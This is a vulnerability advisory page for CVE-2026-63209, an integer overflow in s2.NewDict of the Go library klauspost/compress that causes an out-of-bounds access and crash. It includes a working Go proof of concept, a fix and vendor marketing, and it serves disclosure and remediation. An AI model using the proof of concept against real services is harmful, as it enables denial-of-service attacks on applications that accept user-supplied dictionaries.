Summary
Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress
Signed Integer Overflow in s2.NewDict
A signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV.
Package
- Name:
github.com/klauspost/compress/s2 - Ecosystem: Go
- Affected versions: <= v1.18.6 (all versions with
NewDictfunction)
Severity
High (7.5), CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Vulnerability
Type
- CWE-190: Integer Overflow or Wraparound
- CWE-787: Out-of-bounds Write (via unsafe.Pointer)
Description
The NewDict() function reads a uvarint from dictionary data and converts it to int:
r, n := binary.Uvarint(dict)
// ...
d.repeat = int(r)
if d.repeat > len(dict) {
return nil
}
When r exceeds MaxInt64 (9223372036854775807), int(r) overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.
When Dict.Encode() is called, the negative repeat value causes an integer overflow in encodeBlockDictGo():
repeat := len(dict.dict) - dict.repeat // overflows: 62 - (-5758978476775341977) = huge positive
candidate := len(dict.dict) - repeat + s // underflows to negative
load32(dict.dict, candidate) // OOB via unsafe.Pointer
load32 calls le.Load32 which uses unsafe.Pointer arithmetic without bounds checking:
func Load32[I Indexer](b []byte, i I) uint32 {
return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))
}
This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.
PoC
package main
import (
"encoding/binary"
"fmt"
"github.com/klauspost/compress/s2"
)
func main() {
var dictData []byte
buf := make([]byte, binary.MaxVarintLen64)
n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64
dictData = append(dictData, buf[:n]...)
dictData = append(dictData, make([]byte, 16)...) // minimum dict size
dict := s2.NewDict(dictData)
// dict is non-nil despite invalid repeat value (overflow bypassed validation)
src := make([]byte, 64)
for i := range src { src[i] = byte(i) }
dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer
}
Attack Vector
Any application that:
- Accepts user-supplied S2 dictionary data via
s2.NewDict() - Calls
Dict.Encode()on any data ≥32 bytes
References
- Source:
s2/dict.golines 59-61 (vulnerability),s2/encode_all.goline 947 (crash site) - Commit: 539243b (v1.18.6 + 4 commits)
Credits
Christopher Linke / https://github.com/celinke97/
Impact
- Denial of Service: The process crashes immediately with SIGSEGV
An arithmetic operation produces a value that exceeds the integer type's maximum, causing it to wrap to an unexpected small value. Typical impact: incorrect size calculations leading to heap overflows or logic errors.
CVE-2026-63209 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.18.7); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Validate the uvarint value before converting to int:
if r > math.MaxInt64 {
return nil
}
d.repeat = int(r)
Or use uint for the repeat field and validate against uint(len(dict)).
Frequently Asked Questions
- What is CVE-2026-63209? CVE-2026-63209 is a high-severity integer overflow or wraparound vulnerability in github.com/klauspost/compress (go), affecting versions <= 1.18.6. It is fixed in 1.18.7. An arithmetic operation produces a value that exceeds the integer type's maximum, causing it to wrap to an unexpected small value.
- How severe is CVE-2026-63209? CVE-2026-63209 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/klauspost/compress are affected by CVE-2026-63209? github.com/klauspost/compress (go) versions <= 1.18.6 is affected.
- Is there a fix for CVE-2026-63209? Yes. CVE-2026-63209 is fixed in 1.18.7. Upgrade to this version or later.
- Is CVE-2026-63209 exploitable, and should I be worried? Whether CVE-2026-63209 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-63209 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-63209? Upgrade
github.com/klauspost/compressto 1.18.7 or later.